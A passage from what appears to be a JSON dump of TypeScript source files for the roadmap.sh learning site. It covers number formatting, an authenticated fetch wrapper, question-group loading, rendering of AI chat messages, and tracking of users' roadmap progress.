});\n    }\n\n    const data = renderer[tag]({\n      content: innerContent,\n    });\n    parts.push({\n      id: nanoid(),\n      type: tag,\n      data,\n    });\n\n    // update the last index\n    // so that we can render the next tag\n    lastIndex = regex.lastIndex;\n  }\n\n  // if there was an opening tag that never closed, check manually\n  // search for any known tag that starts but wasn't matched\n  for (const tag of tagNames) {\n    const openingTag = `<${tag}>`;\n    const openingIndex = content.indexOf(openingTag, lastIndex);\n    const closingTag = `</${tag}>`;\n    const closingIndex = content.indexOf(closingTag, lastIndex);\n\n    if (openingIndex !== -1 && closingIndex === -1) {\n      if (openingIndex > lastIndex) {\n        const rawBefore = content.slice(lastIndex, openingIndex);\n        parts.push({\n          id: nanoid(),\n          type: 'text',\n          text: rawBefore,\n        });\n      }\n\n      const innerContent = content.slice(openingIndex + openingTag.length);\n      const data = renderer[tag]({\n        content: innerContent,\n      });\n      parts.push({\n        id: nanoid(),\n        type: tag,\n        data,\n      });\n\n      return parts;\n    }\n  }\n\n  // add the remaining content\n  if (lastIndex < content.length) {\n    const rawRemaining = content.slice(lastIndex);\n\n    parts.push({\n      id: nanoid(),\n      type: 'text',\n      text: rawRemaining,\n    });\n  }\n\n  return parts;\n}\n"
  },
  {
    "path": "src/lib/number.ts",
    "content": "export const formatter = Intl.NumberFormat('en-US', {\n  useGrouping: true,\n});\n\nexport function formatCommaNumber(number: number): string {\n  return formatter.format(number);\n}\n\nexport function decimalIfNeeded(number: number): string {\n  return number % 1 === 0 ? number.toString() : number.toFixed(1);\n}\n\nexport function humanizeNumber(number: number): string {\n  if (number < 1000) {\n    return formatCommaNumber(number);\n  }\n\n  if (number < 1000000) {\n    return `${decimalIfNeeded(number / 1000)}k`;\n  }\n\n  return `${decimalIfNeeded(number / 1000000)}m`;\n}\n\nexport function getPercentage(portion: number, total: number): number {\n  if (portion <= 0 || total <= 0) {\n    return 0;\n  }\n\n  if (portion >= total) {\n    return 100;\n  }\n\n  const percentage = (portion / total) * 100;\n  return Math.min(Math.round(percentage), 100);\n}\n"
  },
  {
    "path": "src/lib/open-graph.ts",
    "content": "type RoadmapOpenGraphQuery = {\n  group: 'roadmap' | 'guide' | 'best-practice';\n  resourceId: string;\n};\n\nexport function getOpenGraphImageUrl(\n  params: RoadmapOpenGraphQuery,\n  query?: Record<string, string>,\n) {\n  const baseUrl = import.meta.env.DEV\n    ? 'http://localhost:3000'\n    : 'https://roadmap.sh';\n\n  const url = new URL(`${baseUrl}/og/${params.group}/${params.resourceId}`);\n  if (query) {\n    Object.entries(query).forEach(([key, value]) => {\n      url.searchParams.set(key, value);\n    });\n  }\n\n  return String(url);\n}\n\nexport async function getDefaultOpenGraphImageBuffer() {\n  const defaultImageUrl = `${import.meta.env.DEV ? 'http://localhost:3000' : 'https://roadmap.sh'}/img/og-img.png`;\n  return fetch(defaultImageUrl).then((response) => response.arrayBuffer());\n}\n\nexport async function getResourceOpenGraph(\n  type: 'roadmap' | 'guide' | 'best-practice',\n  resourceId: string,\n  query?: Record<string, string>,\n) {\n  const url = new URL(`${import.meta.env.PUBLIC_API_URL}/v1-open-graph`);\n  url.searchParams.set('type', type);\n  url.searchParams.set('resourceId', resourceId);\n  url.searchParams.set('variant', 'image');\n  if (query) {\n    Object.entries(query).forEach(([key, value]) => {\n      url.searchParams.set(key, value);\n    });\n  }\n\n  const response = await fetch(url.toString());\n\n  return response.text();\n}\n"
  },
  {
    "path": "src/lib/path.ts",
    "content": "export function joinPath(...parts: string[]) {\n  const separator = '/';\n\n  return parts\n    .map((part: string, index: number) => {\n      if (index) {\n        part = part.replace(new RegExp('^' + separator), '');\n      }\n      if (index !== parts.length - 1) {\n        part = part.replace(new RegExp(separator + '$'), '');\n      }\n      return part;\n    })\n    .join(separator);\n}\n"
  },
  {
    "path": "src/lib/popup.ts",
    "content": "export function showLoginPopup() {\n  const popupEl = document.querySelector(`#login-popup`);\n  if (!popupEl) {\n    return;\n  }\n\n  popupEl.classList.remove('hidden');\n  popupEl.classList.add('flex');\n\n  const focusEl = popupEl.querySelector<HTMLElement>('[autofocus]');\n  if (focusEl) {\n    focusEl.focus();\n  }\n}\n"
  },
  {
    "path": "src/lib/promise.ts",
    "content": "type PromiseInput<T> = Array<Promise<T> | (() => Promise<T>)>;\n\n/**\n * Run promises in parallel with a variable batch size.\n *\n * @category Promise\n * @param promises Array of promises to run in parallel\n * @param batchSize Number of promises to run concurrently\n * @param ignoreErrors Whether to ignore errors and continue running promises even if some fail\n * @returns Promise that resolves when all promises are settled\n */\nexport async function runPromisesInBatchSequentially<T>(\n  promises: PromiseInput<T>,\n  batchSize: number,\n  ignoreErrors = false,\n): Promise<T[]> {\n  const results: T[] = [];\n\n  for (let i = 0; i < promises.length; i += batchSize) {\n    const batch = promises.slice(i, i + batchSize);\n    await Promise.all(\n      batch.map((promise) => {\n        if (promise instanceof Promise) {\n          return promise\n            .then((result) => results.push(result))\n            .catch((error) => {\n              if (!ignoreErrors) {\n                throw error;\n              }\n              return null;\n            });\n        } else {\n          return promise()\n            .then((result) => results.push(result))\n            .catch((error) => {\n              if (!ignoreErrors) {\n                throw error;\n              }\n              return null;\n            });\n        }\n      }),\n    );\n  }\n\n  return results;\n}\n"
  },
  {
    "path": "src/lib/query-http.ts",
    "content": "import Cookies from 'js-cookie';\nimport fp from '@fingerprintjs/fingerprintjs';\nimport { TOKEN_COOKIE_NAME, removeAuthToken } from './jwt.ts';\n\ntype HttpOptionsType = RequestInit;\n\ntype AppResponse = Record<string, any>;\n\nexport class FetchError extends Error {\n  status: number;\n  message: string;\n\n  constructor(status: number, message: string) {\n    super(message);\n    this.status = status;\n    this.message = message;\n  }\n\n  static isFetchError(error: any): error is FetchError {\n    return error instanceof FetchError;\n  }\n}\n\ntype AppError = {\n  status: number;\n  message: string;\n  errors?: { message: string; location: string }[];\n};\n\ntype ApiReturn<ResponseType> = ResponseType;\n\n/**\n * Wrapper around fetch to make it easy to handle errors\n *\n * @param url\n * @param options\n */\nexport async function httpCall<ResponseType = AppResponse>(\n  url: string,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType>> {\n  const fullUrl = url.startsWith('http')\n    ? url\n    : `${import.meta.env.PUBLIC_API_URL}${url}`;\n  try {\n    let visitorId = '';\n\n    const isServer = typeof window === 'undefined';\n    if (!isServer) {\n      const fingerprintPromise = await fp.load();\n      const fingerprint = await fingerprintPromise.get();\n      visitorId = fingerprint.visitorId;\n    }\n\n    const isMultiPartFormData = options?.body instanceof FormData;\n\n    const headers = new Headers({\n      Accept: 'application/json',\n      Authorization: `Bearer ${Cookies.get(TOKEN_COOKIE_NAME)}`,\n      ...(visitorId ? { fp: visitorId } : {}),\n      ...(options?.headers ?? {}),\n    });\n\n    if (isServer) {\n      headers.set('roadmap-api-key', import.meta?.env?.ROADMAP_API_KEY);\n    }\n\n    if (!isMultiPartFormData) {\n      headers.set('Content-Type', 'application/json');\n    }\n\n    const response = await fetch(fullUrl, {\n      credentials: 'include',\n      ...options,\n      headers,\n    });\n\n    // @ts-ignore\n    const doesAcceptHtml = options?.headers?.['Accept'] === 'text/html';\n\n    const data = doesAcceptHtml ? await response.text() : await response.json();\n\n    // Logout user if token is invalid\n    if (data?.status === 401) {\n      removeAuthToken();\n      if (typeof window !== 'undefined') {\n        window.location.href = '/login';\n      }\n\n      return null as unknown as ApiReturn<ResponseType>;\n    }\n\n    if (!response.ok) {\n      if (data.errors) {\n        if (data?.type && data?.type === 'ai_tutor_limit_exceeded') {\n          window?.fireEvent?.({\n            action: 'tutor_credit_limit',\n            category: 'ai_tutor',\n            label: 'Tutor Credit Limit Exceeded',\n          });\n        }\n\n        throw new FetchError(response?.status, data.message);\n      } else if (data.message) {\n        throw new FetchError(response?.status, data.message);\n      } else {\n        throw new Error('An unexpected error occurred');\n      }\n    }\n\n    return data as ResponseType;\n  } catch (error: any) {\n    throw error;\n  }\n}\n\nexport async function httpPost<ResponseType = AppResponse>(\n  url: string,\n  body: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType>> {\n  return httpCall<ResponseType>(url, {\n    ...options,\n    method: 'POST',\n    body: body instanceof FormData ? body : JSON.stringify(body),\n  });\n}\n\nexport async function httpGet<ResponseType = AppResponse>(\n  url: string,\n  queryParams?: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType>> {\n  const searchParams = new URLSearchParams(queryParams).toString();\n  const queryUrl = searchParams ? `${url}?${searchParams}` : url;\n\n  return httpCall<ResponseType>(queryUrl, {\n    credentials: 'include',\n    method: 'GET',\n    ...options,\n  });\n}\n\nexport async function httpPatch<ResponseType = AppResponse>(\n  url: string,\n  body: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType>> {\n  return httpCall<ResponseType>(url, {\n    ...options,\n    method: 'PATCH',\n    body: JSON.stringify(body),\n  });\n}\n\nexport async function httpPut<ResponseType = AppResponse>(\n  url: string,\n  body: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType>> {\n  return httpCall<ResponseType>(url, {\n    ...options,\n    method: 'PUT',\n    body: JSON.stringify(body),\n  });\n}\n\nexport async function httpDelete<ResponseType = AppResponse>(\n  url: string,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType>> {\n  return httpCall<ResponseType>(url, {\n    ...options,\n    method: 'DELETE',\n  });\n}\n"
  },
  {
    "path": "src/lib/question-group.ts",
    "content": "import type { MarkdownFileType } from './file';\nimport slugify from 'slugify';\nimport { getAllAuthors, type AuthorFileType } from './author.ts';\nimport { getAllGuides } from './guide.ts';\n\nexport interface RawQuestionGroupFrontmatter {\n  order: number;\n  briefTitle: string;\n  briefDescription: string;\n  title: string;\n  description: string;\n  isNew: boolean;\n  authorId?: string;\n  date?: string;\n  seo: {\n    title: string;\n    description: string;\n    ogImageUrl?: string;\n    keywords: string[];\n  };\n  relatedTitle?: string;\n  relatedGuidesId?: string;\n  sitemap: {\n    priority: number;\n    changefreq: string;\n  };\n  questions: {\n    question: string;\n    answer: string;\n    topics: string[];\n  }[];\n  ending?: string;\n}\n\ntype RawQuestionGroupFileType =\n  MarkdownFileType<RawQuestionGroupFrontmatter> & {\n    id: string;\n  };\n\nexport type QuestionType = {\n  id: string;\n  question: string;\n  answer: string;\n  isLongAnswer: boolean;\n  topics?: string[];\n};\n\nexport type QuestionGroupType = RawQuestionGroupFileType & {\n  questions: QuestionType[];\n  allTopics: string[];\n  author?: AuthorFileType;\n  relatedGuides?: Record<string, string>;\n  ending?: string;\n};\n\n/**\n * Gets all the best practice files\n *\n * @returns Promisified BestPracticeFileType[]\n */\nexport async function getAllQuestionGroups(): Promise<QuestionGroupType[]> {\n  const questionGroupFilesMap = import.meta.glob<RawQuestionGroupFileType>(\n    `/src/data/question-groups/*/*.md`,\n    {\n      eager: true,\n    },\n  );\n\n  const answerFilesMap = import.meta.glob<string>(\n    // get the files inside /src/data/question-groups/[ignore]/content/*.md\n    `/src/data/question-groups/*/content/*.md`,\n    {\n      eager: true,\n      query: '?raw',\n    },\n  );\n\n  const allAuthors = await getAllAuthors();\n  const allGuides = await getAllGuides();\n\n  return Object.values(questionGroupFilesMap)\n    .map((questionGroupFile) => {\n      const fileParts = questionGroupFile?.file?.split('/');\n      const [questionGroupDir, questionGroupFileName] = fileParts?.slice(-2);\n\n      const questionGroupFileId = questionGroupFileName?.replace('.md', '');\n      const formattedAnswers: QuestionType[] =\n        questionGroupFile.frontmatter.questions.map((qa) => {\n          const questionText = qa.question;\n          let answerText = qa.answer;\n          let isLongAnswer = false;\n\n          if (answerText.endsWith('.md')) {\n            const answerFilePath = `/src/data/question-groups/${questionGroupDir}/content/${answerText}`;\n            answerText =\n              (answerFilesMap[answerFilePath] as any)?.default ||\n              answerFilesMap[answerFilePath] ||\n              `File missing: ${answerFilePath}`;\n\n            isLongAnswer = true;\n          }\n\n          return {\n            id: slugify(questionText, { lower: true }),\n            question: questionText,\n            answer: answerText,\n            topics: qa.topics,\n            isLongAnswer,\n          };\n        });\n\n      const uniqueTopics = formattedAnswers\n        .flatMap((answer) => answer.topics || [])\n        .filter((topic) => topic)\n        .reduce((acc, topic) => {\n          if (!acc.includes(topic)) {\n            acc.push(topic);\n          }\n\n          return acc;\n        }, [] as string[]);\n\n      const relatedGuides = questionGroupFile.frontmatter.relatedGuidesId\n        ? allGuides\n            .filter(\n              (guide) =>\n                guide.id === questionGroupFile.frontmatter.relatedGuidesId,\n            )\n            .reduce(\n              (acc, guide) => {\n                acc[guide.frontmatter.title] = `/guides/${guide.id}`;\n                return acc;\n              },\n              {} as Record<string, string>,\n            )\n        : undefined;\n\n      let endingText = '';\n      if (questionGroupFile.frontmatter.ending) {\n        const endingFilePath = `/src/data/question-groups/${questionGroupDir}/content/${questionGroupFile.frontmatter.ending}`;\n        endingText =\n          (answerFilesMap[endingFilePath] as any)?.default ||\n          answerFilesMap[endingFilePath] ||\n          `File missing: ${endingFilePath}`;\n      }\n\n      return {\n        ...questionGroupFile,\n        id: questionGroupFileId,\n        ending: endingText,\n        questions: formattedAnswers,\n        allTopics: uniqueTopics,\n        author: allAuthors.find(\n          (author) => author.id === questionGroupFile.frontmatter.authorId,\n        )!,\n        relatedGuides,\n      };\n    })\n    .sort((a, b) => a.frontmatter.order - b.frontmatter.order);\n}\n\nexport async function getQuestionGroupById(id: string) {\n  const questionGroups = await getAllQuestionGroups();\n\n  return questionGroups.find((group) => group.id === id);\n}\n\nexport async function getQuestionGroupsByIds(\n  ids: string[],\n): Promise<{ id: string; title: string; description: string }[]> {\n  if (!ids?.length) {\n    return [];\n  }\n\n  const questionGroupFilesMap = import.meta.glob<\n    MarkdownFileType<RawQuestionGroupFrontmatter>\n  >(`/src/data/question-groups/*/*.md`, {\n    eager: true,\n  });\n\n  return Object.values(questionGroupFilesMap)\n    .map((group) => {\n      const fileId = group?.file?.split('/')?.pop()?.replace('.md', '');\n      const frontmatter = group.frontmatter;\n\n      return {\n        id: fileId!,\n        title: frontmatter.briefTitle,\n        description: `${frontmatter.questions.length} Questions`,\n      };\n    })\n    .filter((group) => {\n      return ids.includes(group.id);\n    });\n}\n"
  },
  {
    "path": "src/lib/render-chat-message.tsx",
    "content": "import { nanoid } from 'nanoid';\nimport { markdownToHtmlWithHighlighting } from './markdown';\nimport { Fragment } from 'react';\n\ntype MessagePart = {\n  id: string;\n  type: 'text' | 'html';\n  content: string | React.ReactNode;\n};\n\ntype MessagePartRendererProps = {\n  content: string;\n  isLoading?: boolean;\n};\n\nexport type MessagePartRenderer = (\n  props: MessagePartRendererProps,\n) => React.ReactNode | string;\n\nexport type MessagePartRendererOptions = {\n  isLoading?: boolean;\n};\n\nexport async function parseMessageParts(\n  content: string,\n  renderer: Record<string, MessagePartRenderer>,\n  options: MessagePartRendererOptions = {\n    isLoading: false,\n  },\n) {\n  const parts: MessagePart[] = [];\n  const tagNames = Object.keys(renderer);\n\n  // Remove codeblocks around custom tags\n  if (tagNames.length > 0) {\n    const tagPattern = tagNames.join('|');\n\n    // Remove opening codeblock before tags: ```lang\\n<tag> -> <tag>\n    // It sometimes puts codeblocks around our tags (despite us asking it not to)\n    // so we manually remove them here\n    content = content.replace(\n      new RegExp(`\\`\\`\\`\\\\w*?\\\\n+?<(${tagPattern})>`, 'g'),\n      '<$1>',\n    );\n\n    // Remove closing codeblock after tags: </tag>\\n```  -> </tag>\n    content = content.replace(\n      new RegExp(`<\\\\/(${tagPattern})>\\\\n+?\\`\\`\\``, 'g'),\n      '</$1>',\n    );\n  }\n\n  // If no renderers, just return the content as markdown\n  if (tagNames.length === 0) {\n    const html = await markdownToHtmlWithHighlighting(content);\n    parts.push({\n      id: nanoid(),\n      type: 'html',\n      content: html,\n    });\n    return parts;\n  }\n\n  const tagPattern = tagNames.join('|');\n  const regex = new RegExp(`<(${tagPattern})>(.*?)<\\/\\\\1>`, 'gs');\n\n  let lastIndex = 0;\n  let match;\n\n  // we will match only tags that have renderers\n  // and then we will render each tag with the corresponding renderer\n  // and then we will push the rendered content to the parts array\n  while ((match = regex.exec(content)) !== null) {\n    const [_, tag, innerContent] = match;\n\n    // push the text before the tag\n    // so that we can render it later\n    if (match.index > lastIndex) {\n      const rawBefore = content.slice(lastIndex, match.index);\n      const html = await markdownToHtmlWithHighlighting(rawBefore);\n      parts.push({\n        id: nanoid(),\n        type: 'html',\n        content: html,\n      });\n    }\n\n    const output = renderer[tag]({\n      content: innerContent,\n      isLoading: options.isLoading,\n    });\n    parts.push({\n      id: nanoid(),\n      type: 'html',\n      content: output,\n    });\n\n    // update the last index\n    // so that we can render the next tag\n    lastIndex = regex.lastIndex;\n  }\n\n  // if there was an opening tag that never closed, check manually\n  // search for any known tag that starts but wasn't matched\n  for (const tag of tagNames) {\n    const openingTag = `<${tag}>`;\n    const openingIndex = content.indexOf(openingTag, lastIndex);\n    const closingTag = `</${tag}>`;\n    const closingIndex = content.indexOf(closingTag, lastIndex);\n\n    if (openingIndex !== -1 && closingIndex === -1) {\n      if (openingIndex > lastIndex) {\n        const rawBefore = content.slice(lastIndex, openingIndex);\n        const html = await markdownToHtmlWithHighlighting(rawBefore);\n        parts.push({\n          id: nanoid(),\n          type: 'html',\n          content: html,\n        });\n      }\n\n      const innerContent = content.slice(openingIndex + openingTag.length);\n      const output = renderer[tag]({\n        content: innerContent,\n        isLoading: options.isLoading,\n      });\n      parts.push({\n        id: nanoid(),\n        type: 'html',\n        content: output,\n      });\n\n      return parts;\n    }\n  }\n\n  // add the remaining content\n  if (lastIndex < content.length) {\n    const rawRemaining = content.slice(lastIndex);\n    const html = await markdownToHtmlWithHighlighting(rawRemaining);\n\n    parts.push({\n      id: nanoid(),\n      type: 'html',\n      content: html,\n    });\n  }\n\n  return parts;\n}\n\nexport async function renderMessage(\n  content: string,\n  renderer: Record<string, MessagePartRenderer>,\n  options: MessagePartRendererOptions = {\n    isLoading: false,\n  },\n) {\n  const parts = await parseMessageParts(content, renderer, options);\n\n  return (\n    <div className=\"max-w-[calc(100%-38px)] w-full\">\n      {parts.map((item) => {\n        if (\n          (item.type === 'html' || item.type === 'text') &&\n          typeof item.content === 'string'\n        ) {\n          const trimmedContent = item.content.trim();\n          if (!trimmedContent) {\n            return null;\n          }\n\n          return (\n            <div\n              className=\"course-content course-ai-content prose prose-sm mt-0.5 max-w-full overflow-hidden text-sm\"\n              key={item.id}\n              dangerouslySetInnerHTML={{\n                __html: trimmedContent,\n              }}\n            />\n          );\n        }\n\n        if (item.type === 'html' && typeof item.content === 'object') {\n          return <Fragment key={item.id}>{item.content}</Fragment>;\n        }\n\n        return null;\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/lib/resource-progress.ts",
    "content": "import Cookies from 'js-cookie';\nimport { httpGet, httpPost } from './http';\nimport { TOKEN_COOKIE_NAME, getUser } from './jwt';\nimport { roadmapProgress, totalRoadmapNodes } from '../stores/roadmap.ts';\nimport { queryClient } from '../stores/query-client.ts';\nimport { userResourceProgressOptions } from '../queries/resource-progress.ts';\n// @ts-ignore\nimport Element = astroHTML.JSX.Element;\n\nexport type ResourceType = 'roadmap' | 'best-practice';\nexport type ResourceProgressType =\n  | 'done'\n  | 'learning'\n  | 'pending'\n  | 'skipped'\n  | 'removed';\n\ntype TopicMeta = {\n  topicId: string;\n  resourceType: ResourceType;\n  resourceId: string;\n};\n\nexport async function isTopicDone(topic: TopicMeta): Promise<boolean> {\n  const { topicId, resourceType, resourceId } = topic;\n  const { done = [] } =\n    (await getResourceProgress(resourceType, resourceId)) || {};\n\n  return done?.includes(topicId);\n}\n\nexport async function getTopicStatus(\n  topic: TopicMeta,\n): Promise<ResourceProgressType> {\n  const { topicId, resourceType, resourceId } = topic;\n  const progressResult = await getResourceProgress(resourceType, resourceId);\n\n  if (progressResult?.done?.includes(topicId)) {\n    return 'done';\n  }\n\n  if (progressResult?.learning?.includes(topicId)) {\n    return 'learning';\n  }\n\n  if (progressResult?.skipped?.includes(topicId)) {\n    return 'skipped';\n  }\n\n  return 'pending';\n}\n\nexport async function updateResourceProgress(\n  topic: TopicMeta,\n  progressType: ResourceProgressType,\n) {\n  const { topicId, resourceType, resourceId } = topic;\n\n  const { response, error } = await httpPost<{\n    done: string[];\n    learning: string[];\n    skipped: string[];\n    isFavorite: boolean;\n    personalized: { topicIds: string[]; information: string };\n  }>(`${import.meta.env.PUBLIC_API_URL}/v1-update-resource-progress`, {\n    topicId,\n    resourceType,\n    resourceId,\n    progress: progressType,\n  });\n\n  if (error || !response?.done || !response?.learning) {\n    throw new Error(error?.message || 'Something went wrong');\n  }\n\n  roadmapProgress.set({\n    done: response.done,\n    learning: response.learning,\n    skipped: response.skipped,\n    personalized: response.personalized,\n  });\n\n  queryClient.setQueryData(\n    userResourceProgressOptions(resourceType, resourceId).queryKey,\n    (oldData) => {\n      if (!oldData) {\n        return undefined;\n      }\n\n      return {\n        ...oldData,\n        done: response.done,\n        learning: response.learning,\n        skipped: response.skipped,\n      };\n    },\n  );\n\n  return response;\n}\n\nexport function clearMigratedRoadmapProgress(\n  resourceType: string,\n  resourceId: string,\n) {\n  const migratedRoadmaps = [\n    'frontend',\n    'backend',\n    'devops',\n    'data-analyst',\n    'android',\n    'full-stack',\n    'ai-data-scientist',\n    'postgresql-dba',\n    'blockchain',\n    'qa',\n    'software-architect',\n    'cyber-security',\n    'ux-design',\n    'game-developer',\n    'server-side-game-developer',\n    'technical-writer',\n    'mlops',\n    'computer-science',\n    'react',\n    'vue',\n    'javascript',\n    'angular',\n    'nodejs',\n    'typescript',\n    'python',\n    'sql',\n    'system-design',\n    'aspnet-core',\n    'java',\n    'cpp',\n    'docker',\n    'prompt-engineering',\n    'aws',\n    'datastructures-and-algorithms',\n    'kubernetes',\n    'linux',\n    'software-design-architecture',\n    'rust',\n    'react-native',\n    'graphql',\n    'spring-boot',\n    'mongodb',\n    'flutter',\n    'design-system',\n    'golang',\n  ];\n\n  if (!migratedRoadmaps.includes(resourceId)) {\n    return;\n  }\n\n  const userId = getUser()?.id;\n  if (!userId) {\n    return;\n  }\n\n  const roadmapKey = `${resourceType}-${resourceId}-${userId}-progress`;\n  const clearedKey = `${resourceType}-${resourceId}-${userId}-cleared`;\n\n  const clearedCount = parseInt(localStorage.getItem(clearedKey) || '0', 10);\n\n  if (clearedCount >= 10) {\n    return;\n  }\n\n  localStorage.removeItem(roadmapKey);\n  localStorage.setItem(clearedKey, `${clearedCount + 1}`);\n}\n\nexport async function getResourceProgress(\n  resourceType: 'roadmap' | 'best-practice',\n  resourceId: string,\n): Promise<{\n  done: string[];\n  learning: string[];\n  skipped: string[];\n  personalized: { topicIds: string[]; information: string };\n}> {\n  // No need to load progress if user is not logged in\n  if (!Cookies.get(TOKEN_COOKIE_NAME)) {\n    return {\n      done: [],\n      learning: [],\n      skipped: [],\n      personalized: {\n        topicIds: [],\n        information: '',\n      },\n    };\n  }\n\n  const { response, error } = await httpGet<{\n    done: string[];\n    learning: string[];\n    skipped: string[];\n    isFavorite: boolean;\n    personalized: { topicIds: string[]; information: string };\n  }>(`${import.meta.env.PUBLIC_API_URL}/v1-get-user-resource-progress`, {\n    resourceType,\n    resourceId,\n  });\n\n  if (error || !response) {\n    console.error(error);\n    return {\n      done: [],\n      learning: [],\n      skipped: [],\n      personalized: {\n        topicIds: [],\n        information: '',\n      },\n    };\n  }\n\n  roadmapProgress.set({\n    done: response.done,\n    learning: response.learning,\n    skipped: response.skipped,\n    personalized: response.personalized,\n  });\n\n  // Dispatch event to update favorite status in the MarkFavorite component\n  window.dispatchEvent(\n    new CustomEvent('mark-favorite', {\n      detail: {\n        resourceType,\n        resourceId,\n        isFavorite: response.isFavorite,\n      },\n    }),\n  );\n\n  return response;\n}\n\nexport function topicSelectorAll(\n  topicId: string,\n  parentElement: Document | SVGElement | HTMLDivElement = document,\n): Element[] {\n  const matchingElements: Element[] = [];\n\n  // Elements having sort order in the beginning of the group id\n  parentElement\n    .querySelectorAll(`[data-group-id$=\"-${topicId}\"]`)\n    .forEach((element: unknown) => {\n      const foundGroupId =\n        (element as HTMLOrSVGElement)?.dataset?.groupId || '';\n      const validGroupRegex = new RegExp(`^\\\\d+-${topicId}$`);\n\n      if (validGroupRegex.test(foundGroupId)) {\n        matchingElements.push(element);\n      }\n    });\n\n  getMatchingElements(\n    [\n      `[data-group-id=\"${topicId}\"]`, // Elements with exact match of the topic id\n      `[data-group-id=\"check:${topicId}\"]`, // Matching \"check:XXXX\" box of the topic\n      `[data-node-id=\"${topicId}\"]`, // Matching custom roadmap nodes\n      `[data-id=\"${topicId}\"]`, // Matching custom roadmap nodes\n      `[data-checklist-checkbox][data-checklist-id=\"${topicId}\"]`, // Matching checklist checkboxes\n      `[data-checklist-label][data-checklist-id=\"${topicId}\"]`, // Matching checklist labels\n    ],\n    parentElement,\n  ).forEach((element) => {\n    matchingElements.push(element);\n  });\n\n  return matchingElements;\n}\n\nexport function renderTopicProgress(\n  topicId: string,\n  topicProgress: ResourceProgressType,\n) {\n  const isLearning = topicProgress === 'learning';\n  const isSkipped = topicProgress === 'skipped';\n  const isDone = topicProgress === 'done';\n  const isRemoved = topicProgress === 'removed';\n\n  const matchingElements: Element[] = topicSelectorAll(topicId);\n\n  matchingElements.forEach((element) => {\n    if (isDone) {\n      element.classList.add('done');\n      element.classList.remove('learning', 'skipped');\n    } else if (isLearning) {\n      element.classList.add('learning');\n      element.classList.remove('done', 'skipped');\n    } else if (isSkipped) {\n      element.classList.add('skipped');\n      element.classList.remove('done', 'learning');\n    } else if (isRemoved) {\n      element.classList.add('removed');\n      element.classList.remove('done', 'learning', 'skipped');\n    } else {\n      element.classList.remove('done', 'skipped', 'learning', 'removed');\n    }\n  });\n}\n\nexport function clearResourceProgress() {\n  const matchingElements = getMatchingElements([\n    '.clickable-group',\n    '[data-type=\"topic\"]',\n    '[data-type=\"subtopic\"]',\n    '.react-flow__node-topic',\n    '.react-flow__node-subtopic',\n  ]);\n  for (const clickableElement of matchingElements) {\n    clickableElement.classList.remove('done', 'skipped', 'learning', 'removed');\n  }\n}\n\nexport async function renderResourceProgress(\n  resourceType: ResourceType,\n  resourceId: string,\n) {\n  const {\n    done = [],\n    learning = [],\n    skipped = [],\n    personalized = {\n      topicIds: [],\n      information: '',\n    },\n  } = (await getResourceProgress(resourceType, resourceId)) || {};\n\n  done.forEach((topicId) => {\n    renderTopicProgress(topicId, 'done');\n  });\n\n  learning.forEach((topicId) => {\n    renderTopicProgress(topicId, 'learning');\n  });\n\n  skipped.forEach((topicId) => {\n    renderTopicProgress(topicId, 'skipped');\n  });\n\n  personalized.topicIds.forEach((topicId: string) => {\n    renderTopicProgress(topicId, 'skipped');\n  });\n\n  refreshProgressCounters();\n}\n\nfunction getMatchingElements(\n  queries: string[],\n  parentElement: Document | SVGElement | HTMLDivElement = document,\n): Element[] {\n  const matchingElements: Element[] = [];\n  queries.forEach((query) => {\n    parentElement.querySelectorAll(query).forEach((element) => {\n      matchingElements.push(element);\n    });\n  });\n  return matchingElements;\n}\n\nexport function refreshProgressCounters() {\n  const progressNumsContainers = document.querySelectorAll(\n    '[data-progress-nums-container]',\n  );\n  const progressNums = document.querySelectorAll('[data-progress-nums]');\n  if (progressNumsContainers.length === 0 || progressNums.length === 0) {\n    return;\n  }\n\n  const totalClickable = getMatchingElements([\n    '.clickable-group',\n    '[data-type=\"todo\"]',\n    '[data-type=\"topic\"]',\n    '[data-type=\"checklist-item\"]',\n    '[data-type=\"subtopic\"]',\n    '.react-flow__node-topic',\n    '.react-flow__node-subtopic',\n  ]).length;\n\n  const externalLinks = document.querySelectorAll(\n    '[data-group-id^=\"ext_link:\"]',\n  ).length;\n  const roadmapSwitchers = document.querySelectorAll(\n    '[data-group-id^=\"json:\"]',\n  ).length;\n  const checkBoxes = document.querySelectorAll(\n    '[data-group-id^=\"check:\"]',\n  ).length;\n\n  const totalCheckBoxesDone = document.querySelectorAll(\n    '[data-group-id^=\"check:\"].done',\n  ).length;\n  const totalCheckBoxes2Done = document.querySelectorAll(\n    '[data-type=\"todo-checkbox\"].done',\n  ).length;\n  const totalCheckBoxesLearning = document.querySelectorAll(\n    '[data-group-id^=\"check:\"].learning',\n  ).length;\n  const totalCheckBoxesSkipped = document.querySelectorAll(\n    '[data-group-id^=\"check:\"].skipped',\n  ).length;\n\n  const totalRemoved = document.querySelectorAll(\n    '.clickable-group.removed',\n  ).length;\n  const totalItems =\n    totalClickable -\n    externalLinks -\n    roadmapSwitchers -\n    checkBoxes -\n    totalRemoved;\n\n  totalRoadmapNodes.set(totalItems);\n\n  const totalDone =\n    getMatchingElements([\n      '.clickable-group.done:not([data-group-id^=\"ext_link:\"])',\n      '[data-node-id].done', // All data-node-id=*.done elements are custom roadmap nodes\n      '[data-id].done', // All data-id=*.done elements are custom roadmap nodes\n    ]).length -\n    totalCheckBoxesDone -\n    totalCheckBoxes2Done;\n  const totalLearning =\n    getMatchingElements([\n      '.clickable-group.learning',\n      '[data-node-id].learning',\n      '[data-id].learning',\n    ]).length - totalCheckBoxesLearning;\n  const totalSkipped =\n    getMatchingElements([\n      '.clickable-group.skipped',\n      '[data-node-id].skipped',\n      '[data-id].skipped',\n    ]).length - totalCheckBoxesSkipped;\n\n  const doneCountEls = document.querySelectorAll('[data-progress-done]');\n  if (doneCountEls.length > 0) {\n    doneCountEls.forEach((doneCountEl) => {\n      doneCountEl.innerHTML = `${totalDone + totalSkipped}`;\n    });\n  }\n\n  const learningCountEls = document.querySelectorAll(\n    '[data-progress-learning]',\n  );\n  if (learningCountEls.length > 0) {\n    learningCountEls.forEach(\n      (learningCountEl) => (learningCountEl.innerHTML = `${totalLearning}`),\n    );\n  }\n\n  const skippedCountEls = 